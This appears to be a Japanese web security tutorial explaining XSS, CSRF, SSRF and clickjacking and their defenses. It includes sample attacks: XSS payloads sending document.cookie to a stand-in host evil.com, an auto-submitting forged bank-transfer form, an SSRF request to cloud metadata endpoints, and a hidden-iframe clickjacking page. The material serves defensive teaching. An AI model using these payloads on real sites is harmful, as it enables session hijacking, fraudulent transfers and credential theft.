Webセキュリティ攻防実践:XSS、CSRF、SSRFとクリックジャッキングの防御体系

前端工程

Web セキュリティ脅威の全体像

脅威 影響範囲 深刻度 防御の複雑さ
XSS データ窃取、セッションハイジャック 高 中
CSRF 操作の偽造、金銭的損失 高 低
SSRF 内部ネットワーク探索、サービス攻撃 高 中
クリックジャッキング 操作の誘導 中 低

一、XSS(クロスサイトスクリプティング)

3種類の XSS

タイプ 注入ポイント 持続性 典型的なシナリオ
格納型 サーバーサイドストレージ 持続的 コメント欄、ユーザーニックネーム
反射型 URLパラメータ 一時的 検索結果、エラーメッセージ
DOM型 クライアントサイドJS 一時的 URLハッシュ、document.write

格納型 XSS 攻撃の例

<!-- 攻撃者がコメント欄に注入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- より巧妙な img タグ -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- または SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

防御その1:出力エンコーディング

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// 使用例
element.innerHTML = escapeHtml(userInput);

防御その2:CSP(Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
ディレクティブ 意味 例
default-src デフォルトポリシー 'self'
script-src JS ソース 'self' 'nonce-abc123'
style-src CSS ソース 'self' 'unsafe-inline'
img-src 画像ソース 'self' data: https:
connect-src fetch/XHR ソース 'self' https://api.example.com
frame-ancestors 埋め込みソース 'none'(クリックジャッキング防止)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly は JS からの document.cookie による読み取りを防ぎ、XSS が成功してもセッション Cookie を盗めません。

防御その4:Trusted Types

// Trusted Types API を有効化
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// これ以降、すべての innerHTML 代入はポリシーを経由する必要がある
element.innerHTML = userInput; // ポリシーがないとエラーがスローされる

二、CSRF(クロスサイトリクエストフォージェリ)

攻撃原理

<!-- 攻撃者サイト上の隠しフォーム -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

ユーザーは既に銀行サイトにログイン済み → Cookie が自動送信 → 偽造リクエストが成功。

Set-Cookie: session=abc; SameSite=Strict
値 クロスサイトリクエストで Cookie 送信 利用シーン
Strict 送信しない 最も安全、外部リンクからは Cookie なし
Lax GET リクエストで送信 デフォルト、安全性とUXのバランス
None 常に送信 Secure 必須、サードパーティシナリオ

防御その2:CSRF トークン

// サーバーがトークンを生成
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// フォームに埋め込み
// <input type="hidden" name="_csrf" value="${csrfToken}">

// サーバーサイド検証
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 送金処理
});
// フロントエンド:Cookie から CSRF トークンを読み取り、リクエストヘッダーに入れる
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

防御その4:Origin/Referer チェック

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

三、SSRF(サーバーサイドリクエストフォージェリ)

攻撃例

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 は AWS メタデータサービス — 攻撃者は IAM 認証情報を取得可能。

一般的な内部ネットワークターゲット

アドレス サービス 取得可能な情報
169.254.169.254 AWS メタデータ IAM 認証情報、インスタンス情報
100.100.100.200 Alibaba Cloud メタデータ セキュリティ認証情報
metadata.google.internal GCP メタデータ サービスアカウントトークン
127.0.0.1:6379 Redis データ、設定
127.0.0.1:9200 Elasticsearch データ、クラスタ情報

防御その1:URL ホワイトリスト

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // 特殊 IP をブロック
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

防御その2:DNS リバインディング対策

// 先に DNS を解決し、IP を検証してからリクエストを送信
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // 解決済み IP を直接使用して DNS リバインディングを回避
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

四、クリックジャッキング

攻撃原理

<!-- 攻撃者サイト -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* ほぼ不可視 */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- おとりボタン -->
<button class="decoy-button">クリックしてクーポンを受け取る</button>

<!-- 透明なターゲットサイト iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

ユーザーは「クーポンを受け取る」をクリックしたつもりが、実際には銀行の送金ボタンをクリックしています。

防御その1:X-Frame-Options

X-Frame-Options: DENY
値 意味
DENY どのページにも埋め込めない
SAMEORIGIN 同一オリジンページのみ埋め込み可能

防御その2:CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestors は X-Frame-Options の現代的代替で、ホワイトリストをサポートします。

防御その3:JS フレーム破壊

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

五、多層防御体系

第1層:入力検証 —— サーバーサイドですべての入力を検証
第2層:出力エンコーディング —— コンテキストに応じたエスケープ
第3層:CSP ポリシー —— リソース読み込みを制限
第4層:Cookie セキュリティ —— HttpOnly + SameSite + Secure
第5層:CSRF トークン —— リクエスト元を検証
第6層:レート制限 —— リクエスト頻度を制限
第7層:WAF —— Webアプリケーションファイアウォール

セキュリティヘッダーの完全設定

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持